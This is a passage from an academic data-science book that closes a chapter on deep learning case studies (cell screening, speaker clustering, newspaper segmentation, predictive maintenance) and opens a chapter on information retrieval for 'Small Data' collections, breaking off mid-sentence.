Fig. 12.3 Overview of the used analysis scheme. The baseline approach (upper part) needs
handcrafted features, which are extracted using CellProfiler prior to classification using, for
example, the SVM. In the CNN approach (lower part), the features are learned automatically

9http://scikit-learn.org/stable/
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layer, forming a stack. Our network consists of 3 such stacks, which have 32, 64, and
128 kernels each. These stacks are followed by 3 fully connected layers with
200, 200, and 50 nodes, respectively, and a final softmax layer for the 4 classes.
The network has about 1.2 million learnable weights. For learning the weights of the
network, we split the data available for training into two parts: one part is used for
fitting the weights (training set), the other 20% are used for validation (validation
set). Note that the test set described above is only used for the evaluation of the
trained CNN.

To prevent overfitting, we use dropout for the hidden layers, setting a fraction of
p ¼ 0.3 of all nodes randomly to zero in the training phase. We further used data
augmentation to artificially enlarge the training set by applying the following
random transformations on each image after each epoch (one epoch comprises a
full pass through the training set): a random rotation uniformly chosen in the range of
0� to 360�; a random translation up to 5 pixels in each direction (uniformly chosen);
and a scaling with a scaling factor uniformly chosen in the range 0.9 to 1.1.

The network is implemented using the nolearn extension of the Lasagne python
library.10 All runs have been done on an off-the-shelf PC with a NVIDIA
GeForce GPU.

2.3 Results and Discussion

The training of the CNN took on average 135 s per epoch when using augmentation
of the training data; without augmentation an epoch took just 70 s. The network was
trained for 512 epochs (18 h). Without augmentation, we were overfitting already
after about 20 epochs, meaning the training loss continued to decrease, but the
validation loss on the validation set (which was not used for parameter optimization)
began to deteriorate. When using the data augmentation strategy as described above
we avoided overfitting even after 512 epochs. Averaged over the last 100 epochs, the
validation accuracy is (0.9313 mean, 0.0079 std).

We applied the learned network to the test set consisting of 10,590 cell images. In
contrast to the long training phase, the prediction of the probabilities for the 4 classes
only takes approximately 6.9 s for all images. The overall accuracy on the test set is
93.4%. The confusion matrix is shown in Table 12.3 together with the best baseline
approach (LDA).

In this HCS study, the CNN trained with raw images yields the best classification
accuracy when compared to three state-of-the-art image analysis approaches with the
traditional pipeline of image feature extraction followed by training a classifier based
on those features. Besides the better performance of the CNN-based approach, it has
additional benefits such as saving time and costs during the image analysis step and
providing high robustness and broad application range.

10http://lasagne.readthedocs.io
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3 Learning to Cluster: Extracting Relevant Features
for Speaker Diarization

Speaker diarization is the task of segmenting an audio recording of a meeting, a
lecture, a political debate, or some broadcast media by speaker identity to answer the
question “who spoke when” (Beigi 2011). No prior knowledge about the number or
specific identities of participating speakers is assumed. If we assume a
pre-segmentation into speaker-specific segments by some other process, but still
need to answer the question of which segments belong to the same speaker and how
many speakers exist, the task is called speaker clustering. Typical business use cases
arise as a preprocessing step to general media indexing (in order to make it
searchable), specifically in media monitoring (e.g., who has been covered on
radio), meeting summarization (e.g., to search by panelist), or the evaluation of
qualitative interviews in psychological research.

Speaker clustering is typically approached by first extracting base audio features
like Mel-frequency cepstrum coefficients (MFCC) for the whole audio stream
(Ganchev et al. 2005), followed by a segment-wise modeling [e.g., using adapted
Gaussian mixture models (Reynolds et al. 2000)] to create higher-level speaker-
specific features per segment [e.g., i-vectors (Dehak et al. 2011)]. These higher-level
features of each segment are then subject to a clustering process. Typically, agglom-
erative hierarchical clustering is used (Kotti et al. 2008).

In general, clustering is viewed as the prototypical example of an unsupervised
learning task, using algorithms like k-means (MacQueen 1967) or density-based
spatial clustering of applications with noise (DBSCAN) (Ester et al. 1996) as
alternatives to hierarchical clustering. As with supervised learning schemes, these
algorithms have their inductive biases (Mitchell 1980). They will find structure in the
data if and only if (a) that structure is reflected in the extracted features, and (b) the
structure fits what the algorithm is biased to look for. K-means, for example, will find
structure expressed in the mutual distances between data points and hypothesized

Table 12.3 Results of baseline and CNN approach on the test set

DMSO (True) Cluster A (True) Cluster B (True) Cluster C (True)

CNN

DMSO 7775 13 208 0

Cluster A 28 382 23 1

Cluster B 414 8 1657 0

Cluster C 0 0 0 81

LDA

DMSO 7949 20 542 0

Cluster A 15 323 35 12

Cluster B 251 60 1310 1

Cluster C 2 0 1 69
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cluster centers, while DBSCAN finds clusters only if they are reflected in the density
structure of the data set.

In general, clustering is also close in spirit to the task of classification: while a
classifier groups the test data into any of a pre-defined number of classes, a clustering
algorithm basically has the same goal of grouping test data together—just that the
number and identity of classes/clusters is not predefined. Given the success of deep
neural networks in classification on the one hand, and their general ability to extract
meaningful and task-specific features from almost raw data on the other hand
(Razavian et al. 2014), it seems compelling to bring these properties to bear on the
task of speaker clustering.

3.1 Supervised Learning for Improved Unsupervised Speaker
Clustering

The typical deep learning approach to clustering uses the neural network as a data-
driven feature extractor to transform the input into so-called embeddings (Mikolov
et al. 2013; Romanov and Rumshisky 2017). Each embedding is then used as the
new representation of the input vector and fed into a subsequent clustering process
using one of the abovementioned classic algorithms. The embedding is found for a
respective input by extracting the activations of one of the upper layers of the neural
network, which has previously been trained for a related or “surrogate” task.

For this setup to be successful for speaker clustering, it is important that the
learned embeddings (or high-level features) incorporate the following ideas:

• Contain prosodic information: Stadelmann and Freisleben (2009) highlighted the
importance of the evolution of a sound using short segments of ca. 120 ms in
length for human-level recognition performance [i.e., temporal information mat-
ters instead of a pure bag-of-frames approach (Aucouturier et al. 2007)].

• Be voice-specific:When the surrogate task to train the feature-extracting network
is speaker identification using a discriminative model, chances are that the
extracted features are better suited to distinguish the specific set of speakers
used during training from each other (rather than modeling what makes any
voice unique, which is what is needed for clustering).

We use spectrograms11 as input and built up a CNN architecture inspired by
Dieleman and Schrauwen (2014) to extract embeddings based on these two princi-
ples, and evaluated it on the well-known TIMIT speech corpus. The architecture is
shown in Fig. 12.4; Lukic et al. (2016, 2017) give all details. The rationale behind
this setup is twofold: First, we address the temporal aspect mentioned above

11A spectrogram is a 2D image representing a time-frequency decomposition of an audio signal: the
x-axis represents time, the y-axis represents frequency, and the color encodes energy (compare the
leftmost part of Fig. 12.4, showing 3 s of voiced speech).
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(“prosodic information”) by using convolutional networks: the convolutional layers
are able to extract time-dependent aspects of a voice through 2D convolutional
kernels that operate on the spectrograms and thus operate on the time axis. Second,
the loss function of Hsu and Kira (2015) ensures that the embeddings explicitly
focus on being similar for identical speakers (“be voice-specific”), and dissimilar for
different speakers (irrespective of the concrete speaker identity). This ensures a
proper closeness of the surrogate supervised training task to the final task of
clustering (i.e., grouping voices by closeness of their embeddings).

3.2 Results

We took the first n speakers in lexicographic ordering from the TIMIT test set for the
clustering experiment. We divided the 10 sentences per speaker into two utterances
by taking the first 8 sentences (lexicographically ordered by filename) for utterance
one, and the last two for the second utterance. Utterance one is approximately 20 s
long on average, while utterance two is ca. 5 s long. Using the architecture and
experimental setup described in greater detail in Lukic et al. (2017), we have been
able to cluster up to n¼ 80 speakers with a reasonable misclassification (MR) rate of
13.75%.12 The best reported previous results worked only for up to 40 speakers with
an MR of 5%, which is on par with our approach. Ca. 14% MR are a starting point
for unsupervised media indexing tasks, but should be improved in the future. The
main message in this result is that now automatic indexing becomes feasible because
it can cope with practically relevant speaker set sizes.

Figure 12.5 allows for a qualitative assessment of the embeddings of n ¼ 5
speakers. The used t-SNE visualization method performs nonlinear dimension
reduction from the dimensionality of the embedding vectors into 2D (van der Maaten
and Hinton 2008) while preserving the original similarity structure as much as

Fig. 12.4 Architecture of the CNN used to extract speaker embeddings. © 2017 IEEE. Reprinted,
with permission, from Lukic et al. (2017)

12MR counts the share of utterances that are grouped into the wrong cluster. Wrong can mean two
things: utterances of different speakers are either joined into the same cluster, or utterances of one
speaker are distributed over several (pure) clusters instead of combined to a single one.
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possible. We observe that overall the embeddings of any speaker group together
nicely.

We conclude that for the task of speaker clustering, the sequence-learning
capabilities of the CNN architecture together with the Kullback-Leibler diver-
gence-related loss function enable the extraction of voice-specific features for
subsequent clustering. The involved learning task seems to be quite non-trivial:
only by using batchnorm and 30,000 epochs of training using ADADELTA (Zeiler
2012) we were able to produce useful results. A next step would be to embed the
clustering in a truly end-to-end optimizable process that includes the actual
clustering.

4 Learning to Segment: FCNs for Semantic Segmentation
of Newspaper Pages

Newspapers are provided and consumed to a large extent in printed form. Large
archives of such papers do exist, containing a historically important cultural heritage.
In order to analyze or search them, they need to be available in a suitable digital
form. Since newspapers consist of articles that can be considered as independent
units, one usually wants to access these semantically meaningful units directly
instead of whole pages. Therefore, digitization of newspapers not only needs optical
character recognition (OCR) (Mori et al. 1999) but also semantic segmentation

Fig. 12.5 A t-SNE visualization of the embeddings of several speech segments from 5 TIMIT
speakers. © 2017 IEEE. Reprinted, with permission, from Lukic et al. (2017)

12 Beyond ImageNet: Deep Learning in Industrial Practice 219



(Long et al. 2014). The term semantic segmentation means to “cut” a page into
connected components (headers, text, images) that together constitute a semantic
unit we call an article. In the use case of media monitoring, today’s products and
services are very costly because this segmentation work has to be done manually.
This also means that no real-time monitoring is possible, and neither is the
processing of larger archives feasible using manual work.

In this case study, we improve a straightforward application of a classification
CNN by a much better suited network architecture to achieve practically useful
segmentation results of newspaper pages into sets of semantically connected articles.
Both approaches are based on CNN architectures and provide segmentation masks
which can be used to extract the articles from the corresponding newspaper pages. A
segmentation mask is a binary image with black pixels standing for articles and
white pixels for borders. In order to extract articles using the segmentation mask, we
apply a post-processing step to get the coordinates of the (black) article areas
matching the original scans.

Our dataset consists of 507 high-resolution scans (i.e., images) of newspaper
pages from the papers with highest circulation among Swiss newspapers, ranging
from classical weekly newspapers to boulevard media. It is accompanied by manu-
ally created segmentation masks as ground truth. We transform the original scans of
the newspaper pages to simplified representations to be used as input for our CNNs.
This is done by replacing illustrations with gray areas and by blackening lines of
texts (after OCR). In the end, our dataset contains 507 pictures with two channels
each (plus ground truth segmentation mask, see Fig. 12.6): the original scan, and the
abovementioned transformation. We use approximately 85% of the dataset for
training and hold out the remaining 15% for testing. In addition to this fully labeled
dataset, we have ca. 5500 partially labeled pages (i.e., each page contains also
unsegmented articles).

4.1 CNN-Based Pixel Classification vs. One-Pass FCNs

A straightforward first approach is based on the work of Ciresan et al. (2012b): we
use a CNN-based pixel classification network (PCN) to classify a newspaper page
pixel by pixel using subsequent applications of the CNN to every pixel. The class of
each pixel (article or border) is predicted from pixel values in a 25� 25 pixel-square
window centered on it. The network is trained by using only the transformed images,
for which we adjust the resolution so that all of them have a height of 100 pixels
without changing the aspect ratio. Classifying such an image with, for example,
100� 75 pixels results in 7500 windows. We therefore used ca. 3.5 million windows
in training. Figure 12.7 shows the architecture of the PCN with 7 layers and
approximately 2,50,000 weights to be learned.

The fully convolutional neural network used in our second approach is built with
three logical parts (cp. Meier et al. (2017) and Fig. 12.8). Initially, feature extraction
is done the same way as with a standard CNN. This is followed by a network
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performing an upscaling, resulting in a segmentation mask as output. Finally, a very
small refinement network adjusts the edges of the article regions (black) to be
rectangular, since this is one of the typical characteristics of newspaper pages. We
train this network architecture in two steps: first, we run a pre-training with the
bigger partially labeled dataset. For this case, the unlabeled parts are replaced by
white areas. Second, we use the fully labeled data to finalize the model. For both
training steps we insert the original scans together with the transformations as
separate channels. Both channels are scaled down to a resolution of 256� 256 pixels
(keeping the aspect ratio by adding white background where necessary).

Fig. 12.6 Example of our dataset showing an original scan of a newspaper page (left), the
transformed representation (middle), and the manually created segmentation mask (right)

Fig. 12.7 Architecture of the PCN that segments newspaper pages by classifying each pixel of an
input image (article or border) using 25 � 25 pixel windows centered on each pixel to be classified

12 Beyond ImageNet: Deep Learning in Industrial Practice 221



4.2 Results

For the evaluation of the PCN and FCN, we chose the diarization error rate (DER)
known from speaker diarization (Kotti et al. 2008). The DER is a combination of the
three error types possible when grouping elements into an unknown number of
clusters: confusion error (CE) measures parts of predicted articles that are wrongly
assigned; miss error (ME) measures parts of articles that are not included in the
predicted segmentations; false alarm error (FE) counts parts of predicted articles that
do not overlap with any labeled article from the ground truth.

The FCN has a DER score of 0.1378, thereby outperforming the still respectable
PCN (0.2976 DER) by more than 50%. This result shows the impact of a suitable
network architecture for the task at hand. While both architectures have comparable
runtimes during prediction (roughly 3.7 s per page, largely impacted by similar post-
processing), the FCN can process images that are approximately 18 times bigger
considering that two images are inserted at the same time. On the other hand, while
we used around 6000 pages to train the FCN, we trained the PCN with only
507 pages. We conclude that both approaches can be useful depending on the
amount of labeled data that is available. For the given use case, the industrial partner
provided the additional 5 k partially labeled training images in order to use the FCN
approach in practice.

Fig. 12.8 Architecture of the FCN, consisting of three logical parts. First the feature extraction with
a standard CNN (up to the center of the figure), second the segmentation (done by upscaling
convolutions), and third a refinement network to ensure typical properties of newspaper articles (last
block in “Architecture”)
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5 Learning to Detect Outliers: Predictive Maintenance
with Unsupervised Deep Learning

The condition of critical and costly mechanical equipment is increasingly monitored
by observing the vibrations of the machinery under surveillance. In order to detect
faults before they damage the whole machinery, traditional methods such as enve-
lope analysis have been used for decades (Randall and Antoni 2011). However,
these methods require knowledge of the machinery’s exact geometry and a skilled
human operator. An alternative data-driven approach is to automatically detect
changes in the signal. This is known as novelty detection and there are plenty of
classical methods. For a review, see Pimentel et al. (2014).

While almost every possible combination of features and classifiers has been tried
previously for condition monitoring, the respective literature lacks comparability in
terms of data and metrics used as well as given details for reproducibility
(Stadelmann et al. 2016). In this case study, we compare several classical novelty
detection methods against DL-based approaches on a standard bearing data set (Lee
et al. 2007), which consists of ntrain + ntest ¼ 984 measurements of vibration signals
in run-to-failure tests.

As a first step, we use a Fourier transformation to extract p ¼ 100 features13 per
measurement to obtain a data matrix X 2 R ntrainþntestð Þ�p. The details of the feature
extraction and the data set can be found in Fernández-Francos et al. (2013). In the
following discussion, we assume that the fault starts to be detectable at frame number
532. This is in line with findings from other researchers (Fernández-Francos et al. 2013)
and is also observable from Fig. 12.9, which shows the data matrix (spectrogram).

The output of all methods is a real valued vector of size ntest, reflecting the
deviation from the normal state learned during the training: the so-called novelty
signal. All methods are trained on the first ntrain ¼ 200 rows, where we assume that
no fault has occurred. Before training and testing, we apply a robust z-transformation
for each feature using the median and the median absolute deviation (MAD)
calculated on the training data.

5.1 Classical Approaches

We use the following classical methods as baseline:

• One-class SVM (Schölkopf and Smola 2002) with the variable parameter η,
which can be understood as an upper bound of the fraction of outliers.

• Gaussian mixture model (GMM) with a number of ncomponents mixtures (Reynolds
and Rose 1995).

13Fast fourier transformation (FFT) features: energies of 100 equally spaced frequency sub-bands,
computed over the whole length of the signal (10 s).
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• A simple but robust baseline approach is done in the spirit of the Mahalanobis
distance. To reduce the noise, we first transform our data into a ncomp-dimensional
subspace using PCA with whitening. In that subspace, we calculate the squared
Mahalanobis-distance (Bersimis et al. 2007) to determine the outliers.

• The last classical method in our evaluation uses a PCA learned on the training
data, to transform the test data Xtest into a ncomp-dimensional subspace. After that,

the data is transformed back into the original space yielding dXtest . We use the L2-
based reconstruction error as the novelty signal. This corresponds to an
autoencoder without nonlinearities and with tied weights.

Figure 12.10 shows the results of the classical methods described above.
All methods show an amplitude increase in the novelty signal at frame number

532, where we assume that the fault is detectable. The pca_automethod shows the
strongest increase in the signal and is used later for the comparison with the deep
learning-based methods.
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Fig. 12.9 The 100 extracted features (columns) for the 984 time points (rows) for the example data
set. The vertical dashed line indicates the first change of the data (frame number 532) as visible
by eye

Fig. 12.10 Novelty signal for the classical methods. The used parameters are η¼ 0.1 for the SVM,
ncomponents ¼ 16 for GMM and ncomp ¼ 50 for the PCA-based methods. To focus on the sudden
change of the novelty signal at 532, the maximum of the y-axis has been limited to 500 (maximum
signal is in the order of 1E10)
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5.2 Deep Learning-Based Methods

After using the classical methods to establish a baseline, we now consider deep
autoencoders. All methods are trained for 50 epochs with a batch size of 20. We start
with a simple fully connected autoencoder using sigmoids as activations. A detailed
description of a fully connected autoencoder can be found, for example, in
Goodfellow et al. (2016). We investigated different numbers of hidden layers and
determined that for 5 hidden layers there is the best compromise between steepness
of the novelty signal after the fault and the noise before it (see fc_auto in
Fig. 12.11).

In addition to the fc_autoencoder, we also include a recurrent version, in
which the neurons are replaced by Long Short-Term Memory cells (LSTMs)
(Hochreiter and Schmidhuber 1997). We found that an architecture with three
hidden layers consisting of 10, 4, and 10 nodes, respectively, performed best.
These results are displayed in Fig. 12.11. The behavior is similar to the standard
autoencoder and suggests that the temporal ordering of frames is unimportant here.

The final two autoencoders introduce means for additional regularization. The
first one, the denoising autoencoder, does this by injecting additional noise, see
Vincent et al. (2010) for details. The best performance was observed with 10 nodes
in the hidden layer. The second one is the variational autoencoder (VAE) (Kingma
and Welling 2013). Its optimal architecture turned out empirically to have 32 nodes
in the hidden layer and a 4-dimensional latent space, which is shown in Fig. 12.11,
labeled as vae_32_4. Note that, in principle, the VAE can also be extended to
generate novel data.

In conclusion, all methods (classical and DL) show a similar novelty signal and
detect the fault at time frame 532. However, the DL-based methods give a weaker
novelty signal in a region where there is no fault. Here, the best classical method

Fig. 12.11 Novelty signal for the deep learning-based methods and the best classical approach
(pca_auto). All methods show a steep ascent after the fault is detectable at frame number 532. To
better illustrate the signal before the fault, we limited the range of the normalized novelty signal to
[0, 10]
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(pca_auto) shows a stronger signal at times before the fault occurred. We con-
clude that the given task is too simple to profit from the more capable models—DL is
not needed on this specific data set.

6 Lessons Learned

Deep learning approaches have proven useful not only in academic computer vision
settings but also in various scenarios inspired by real business use cases. We have
improved the state of the art in high content screening, speaker clustering, and
automatic article segmentation, while showing at least comparable results for con-
dition monitoring. Overall, the authors have verified the practicability of DL appli-
cations on at least 10 substantial research projects in collaboration with industry
during the last 4 years. Contrary to public opinion, Szegedy et al. (2014) note that
“most of this progress is not just the result of more powerful hardware, larger
datasets and bigger models, but mainly a consequence of new ideas, algorithms and
improved network architectures.” This is according to our experience worth
considering.

6.1 Working with Limited Resources

Our biggest take-home message is the importance of working well with limited
resources. Having a good set of data for training and evaluation (i.e., available at the
start of the project, ideally large,14 in a good shape for further processing, resembling
the true distribution of the problem to be solved) is the starting point: it does not pay
off to “negotiate” minimum numbers of needed data with business owners. Rather,
“the more the better” is key. If the most one can get is still little, the following tricks
may apply:

• Using available pre-trained networks that have been trained for a “close enough”
task (e.g., the VGG-16 network15 for any image classification task) to do transfer
learning.

• Use trainable architectures like Inception (Szegedy et al. 2014) or Resnet
(He et al. 2015b) that adapt their complexity to the available data and may even
be compressible (Han et al. 2015).

14Personal rule of thumb of one of the authors (T.S.): I feel comfortable with a small to medium
four-digit number of instances per class in a classification setting.
15http://www.robots.ox.ac.uk/~vgg/research/very_deep/
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• Do sensible data augmentation (see Sect. 2): provide the training procedure with
variants of your original data that (a) you can create randomly on the fly and that
(b) resemble distortions/alterations relevant and realistic in practice.

• Often there is enough unlabeled data, but labeling is costly. In that case one can
try to employ semi-supervised learning methods, which are currently being
actively developed (Kingma et al. 2014). Another possibility is to use high-
level features created by a first network to do a clustering or t-SNE embedding
similar to Fig. 12.5 (see Sect. 3). This allows to label lots of data after a short
inspection.

Sometimes, data is not the limiting factor, but hardware is (at least for applying
the trained model later). While compressed networks help to speed up network
application considerably, it should be noted that while neural network training of
practically relevant size may take weeks on dedicated hardware (i.e., latest genera-
tion of GPU workstations), the application might be doable in real time even on
embedded devices like a raspberry pi16 (see also Sect. 4). And as Sect. 5 has shown,
DL approaches might not always outperform simple baseline approaches; so it
always pays off to compare against classical methods (at least to establish a bench-
mark, see Sect. 2).

6.2 Other Advice

Additional advice can be summarized as follows:

• Having a good start on a new use case often depends on (a) starting from an easy,
well-understood baseline model closely resembling a published architecture and
task,17 and (b) to slowly increase the complexity of the architecture. As a rule of
thumb, if a human can see/hear/. . . the solution to a pattern recognition problem
in the training data, it can be extracted using machine-learning algorithms
(Domingos 2012).

• If it is not a standard problem, ensure to provide a loss function which really
describes the problem that is going to be solved (see Sect. 3).

• Latest algorithmic developments in neural nets like dropout or batchnorm,
ADAM/ADADELTA and ReLU are “always on” in our projects if applicable18

as they considerably ease training to the point that makes applications possible
that just do not work without them (see Sect. 3).

16https://www.martinloeser.eu/deutsch/forschung/pivision/
17Find a collection of models per task, for example here: https://github.com/sbrugman/deep-learn
ing-papers
18For example, dropout does not work with ResNets and has largely been replaced by batchnorm in
these architectures (Zagoruyko and Komodakis 2016).
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• It is common that a first instance of a DL model does not work on a completely
new task and data set. Then, debugging is key, ranging in methodology from
checking for the application of best practices,19 hand-calculating the training
equations for toy examples (to find implementation problems, e.g., in the loss
function20), visualizing the pre-processed data (to see if data loading might be
buggy) or learned weights,21 and inspecting loss values (does it learn at all22?) as
well as misclassified training examples [to get intuition into what goes wrong
(Ng 2019)].

• The speed of new advances in DL is breathtaking at the moment. While new
developments are published daily on arXiv,23 news aggregators like reddit24 or
Data Machina25 and explanation-focused journals like Distill26 help to stay up-to-
date. For a real project, it is important to check the current state of the art at least
back to the latest major DL conferences neural information processing (NIPS),27

international conference on machine learning (ICML),28 and international con-
ference on learning representations (ICLR)29 and the trends discussed there in
tutorials and keynotes: paradigms are still evolving, and new applications are
shown daily.

General best practices for DL applications are also summarized by Ng (2016),
Hinton et al. (2012), and LeCun et al. (1998b).
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Chapter 13
The Beauty of Small Data: An Information
Retrieval Perspective

Martin Braschler

Abstract This chapter focuses on Data Science problems, which we will refer to as
“Small Data” problems. We have over the past 20 years accumulated considerable
experience with working on Information Retrieval applications that allow effective
search on collections that do not exceed in size the order of tens or hundreds of
thousands of documents. In this chapter we want to highlight a number of lessons
learned in dealing with such document collections.

The better-known term “Big Data” has in recent years created a lot of buzz, but
also frequent misunderstandings. To use a provocative simplification, the magic of
Big Data often lies in the fact that sheer volume of data will necessarily bring
redundancy, which can be detected in the form of patterns. Algorithms can then be
trained to recognize and process these repeated patterns in the data streams.

Conversely, “Small Data” approaches do not operate on volumes of data big
enough to exploit repetitive patterns to a successful degree. While there have been
spectacular applications of Big Data technology, we are convinced that there are and
will remain countless, equally exciting, “Small Data” tasks, across all industrial and
public sectors, and also for private applications. They have to be approached in a
very different manner to Big Data problems. In this chapter, we will first argue that
the task of retrieving documents from large text collections (often termed “full text
search”) can become easier as the document collection grows. We then present two
exemplary “Small Data” retrieval applications and discuss the best practices that can
be derived from such applications.

1 Introduction

It may seem counterintuitive at first that the present chapter focuses on “Small Data.”
There is a strong association of “difficult” (and by extension, “exciting” or “inter-
esting”) that goes with the “big” in “Big Data”—the sheer volume of data that is
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often tackled in Big Data scenarios supposedly renders providing a solution for the
problems especially hard. We examine this perception in the case of “full text
search.” Search—of data and information—is a prominent Data Science use case.
The academic discipline that considers search on unstructured (textual) information
is usually termed “Information Retrieval” (IR).1 We will argue that neither data
volume (nor data variety or velocity) in itself makes Information Retrieval inherently
more difficult—rather, it may be more appropriate to say that it changes the
characteristics of the problem.

Definitions of what “Small Data” entails vary. Many definitions are based on the
human capacity for comprehension or action based on data—data that is “small
enough” to be comprehensible or actionable.2 We think it is necessary to accept that
“small” and “big” is a shifting qualification—what is big in today’s data science
terms may well seem small in the future. In the field of Information Retrieval, the
famous TREC challenge in 1992 (Harman 1993) was framed originally as a chal-
lenge in terms of tackling a heretofore unattained data volume3—participants had to
index and search one gigabyte of text! One might retrospectively call this a “Big
Data” challenge for that time.

How to identify the boundaries between small and big may thus well be an
exercise in detecting those “tipping points” where the problems we solve shift in
characteristic—where new phenomena arise based on the fact that the data volume
(or velocity, or variety) reaches a certain threshold. However, aiming to identify
these boundaries in a generalized way goes beyond the intent and scope of this
chapter.

Instead, we work with document collections and their associated retrieval appli-
cations that are—considering the state-of-the-art in the field—safely on the “small”
side (by virtue of containing significantly less than a million items).

Independently from the question of specific boundaries, accepting the viewpoint
that “Small Data” and “Big Data” are distinct disciplines, however, immediately
implies that problems that are truly “Big Data” should be approached in a funda-
mentally different manner than Small Data problems. Perhaps more intriguingly, and
more subtle, is the question of whether such “Big Data” problems are truly more
difficult to solve than “Small Data,” or whether the shift of challenges is more in
terms of the nature of the problem than its difficulty. While we want to keep the focus
of the chapter on giving advice as to how “Small Data Information Retrieval
problems” are solved, we still will attempt to show that indeed there are multiple
hints at the latter viewpoint—some operations may actually become decidedly easier
when the data volume increases.

1Good introductions to the field can be found in, for example, Baeza-Yates and Riebeiro-Neto
(2011) and (Manning et al. 2008).
2See for example, http://jwork.org/main/node/18 and http://whatis.techtarget.com/definition/small-
data
3Harman speaks of “providing a very large test collection” and notes that “TREC is designed to
encourage research in Information Retrieval using large data collections” (Harman 1993).
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The remainder of the chapter is structured as follows: In Sect. 2, the academic
field of Information Retrieval is introduced, and related work is discussed. In Sect. 3,
the “matching task,” that is, the task of matching the user’s description of informa-
tion need to documents that carry relevant information is analyzed with respect to its
interaction with collection size. First, the changing nature of the retrieval problem is
analyzed (Sect. 3.1), then the distribution of word occurrences (Sect. 3.2) and its
effect on term weighting (Sect. 3.3) are discussed. Whether collection size has an
impact on the number of word forms used in documents is investigated in Sect. 3.4.
Having established how collection size changes the nature of the matching task,
Sect. 4 then presents two operational applications that serve as examples of how to
implement retrieval applications for Small Data problems. In Sect. 5, we provide
conclusions and list best practices for retrieval on Small Data. These practices stand
in a line with some previous work on best practices for Information Retrieval
applications such as published in Braschler and Gonzalo (2009) and Braschler
et al. (2012).

2 The Academic Field of Information Retrieval
and Related Work

For the present chapter, we will mostly cover search on unstructured document
collections as our main object of study. This problem is at the core of the academic
field of Information Retrieval. A document collection can be of arbitrary size, from
small to (very) large, and indeed there are unstructured document collections that are
processed with Information Retrieval technology that number billions or even
trillions of retrievable items. A famous example is the “Google Web Search” service
that foremost provides access to the textual pages of the World Wide Web.4 There
are, thus, Information Retrieval problems that are clearly all over the spectrum of
data sizes that can be processed by today’s technology, including up to truly “Big
Data” size.

Much Information Retrieval literature covers text retrieval, that is, the search on
unstructured full text (the Google Web Search example falls under this category as
well). Relevant research spans more than 50 years (Spärck Jones and Willett 1997),
and text retrieval remains an active and very important problem. Generally speaking,

4See www.google.com. Official statements as to the number of web pages indexed by the Google
Web Search service are hard to interpret. In 2008, Google reported (Google 2008) that its web
crawlers have discovered more than 1 trillion unique URLs pointing to web pages, though it
remains unclear what subset of these is accessible through the search index. By 2016, Google
reported (Google 2016) that it estimates the web to contain approximately 130 trillion pages, but
again, it is unclear how many are searchable.
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text retrieval approaches are very mature, and corresponding systems are available
for ready use in many different guises, including free open-source systems.5

A modern Information Retrieval system allows the user to query the document
collection with either a sequence of keywords or fully fledged natural language
expressions. Typically, in contrast to database systems, no complex, formal query
language is used. Classically, it is assumed that the user has an information need that
is satisfied by finding as much relevant information as possible on a topic of interest.
A key aspect of the “text retrieval problem” solved by the IR system is the
reconciliation of the description of the information need that a user gives to the
system with the formulations of an arbitrary author that are contained in a retrievable
document. Put more simply, the user formulates a question, but the task of the IR
system is to provide a document that contains an answer.

There are two main obstacles here:

• Firstly, a user’s formulation of information need (“the question”) is often inad-
equate: it would be paradoxical to expect a user with an information deficit to
come up with keywords that match the formulation of what is essentially the
answer.

• Secondly, natural language gives us great freedom in how we express ourselves,
choosing between synonyms and paraphrasings, which precludes solutions that
rely on exact string matches.6

We argue that while the first point is essentially independent of the actual
document collection to be searched (one way to look at this is that the user’s
query formulation is usually not really informed by the contents of the collection),
the second point often is very much influenced by the size of that collection. This is
due to an increasing probability in many nonartificial large collections that they
contain redundant information, that is, the same facts are included repeatedly in the
document collection as the size of the collection grows. Consider the World Wide
Web as an example: due to the very large number of independently contributing
authors on the web, all but the most obscure facts and news stories are reported
numerous times.

With increasing redundancy frequently comes a much better coverage of the
many different possibilities of formulation that natural language affords; simply put,
every fact is conveyed in every possible formulation as the collection size grows
toward infinity. In converse, should a fact only be present in one item of the
document collection, the burden is on the user to “guess” the exact formulation in
order to successfully retrieve the item (although, as we will demonstrate, there are of
course measures that can be taken in building an Information Retrieval system that
supports the user in this burden). In a very large collection, the user can match at

5Two particularly notable open-source Information Retrieval projects are Lucene (lucene.apache.
org) and Terrier (terrier.org).
6For more in-depth discussion of these issues, including a look at the larger “information acquisition
cycle” that is supported by an Information Retrieval system, see Peters et al. (2012).
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least some items7 using an essentially arbitrary formulation. Formally speaking, we
can argue that smaller collections tend to be more “dense” in terms of information
content, in the sense that many facts are only represented once or a few times (less
redundancy), whereas with growth a collection tends to become “thinner” (more
redundancy).

To progress from the above considerations, we want to first spotlight the question
on how the matching task changes as a collection becomes larger and more redun-
dant (“thinner”). This specific question has received relatively little research in
Information Retrieval so far, although one major thread of exploration is especially
noteworthy. The associated work has come in the context of the TREC IR evaluation
forum in the “Very Large Track” (Hawking and Thistlewaite 1997). It is best
summarized in the comprehensive paper by Hawking and Robertson (2003) that
goes much farther in analyzing the impact of IR-specific considerations such as term
weighting and characteristics of evaluation measures with respect to collection size
than we can by necessity do here in this chapter, which is more application-oriented.
Their paper is very much recommended reading when more insight into conse-
quences of using specific measures or sampling from document collections is
welcome. We will also qualify some of our own findings using the more thorough
conclusions in Hawking’s and Robertson’s work.

The belief that there is value in the search for potentially shifting characteristics of
the matching task is also motivated by earlier work in web search, where a multiyear
struggle of substantial scale was necessary by the IR research community to properly
assess the influence of the use of page link information in document ranking. In
summary, early efforts in web search evaluation were unable to demonstrate any
benefit in using link information over classical, pure keyword-based retrieval
methods. This held true as test collections were scaled up to 100 gigabytes of size
(Hawking et al. 1998, 1999a, b). This result was, as observed by the authors of these
studies, counterintuitive at the time, since the use of such link information was (and
still is) prevalent by commercial web search engines. Indeed, first successful verifi-
cations of the benefit of using link information came only as both the collection size
was further increased and the nature of the task was changed to better reflect the real-
world use of such an enlarged collection (Singhal and Kaszkiel 2001).

7Note the distinction between matching some relevant items versus matching all relevant items.
Users that are interested in the former are usually termed “precision-oriented,” while those
interested in the latter are referred to as “recall-oriented.” Information needs of both these user
groups are equally valid, but need to be addressed differently.
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3 The Changing Matching Task

3.1 The Retrieval Problem and Its Interaction
with Collection Size

In our pursuit to understand the influence of collection size on the effectiveness of
Information Retrieval systems, let us first formalize the main task of such a system.
In the literature, this task is termed the “retrieval problem.” Robertson et al. (1982)
define the problem thus: “. . . the function of a document retrieval system is to
retrieve all and only those documents that the inquiring patron wants (or would
want).” Some variants of this definition call the “documents the (. . .] patron wants”
the “relevant documents.” Our aim is therefore to understand how this task changes
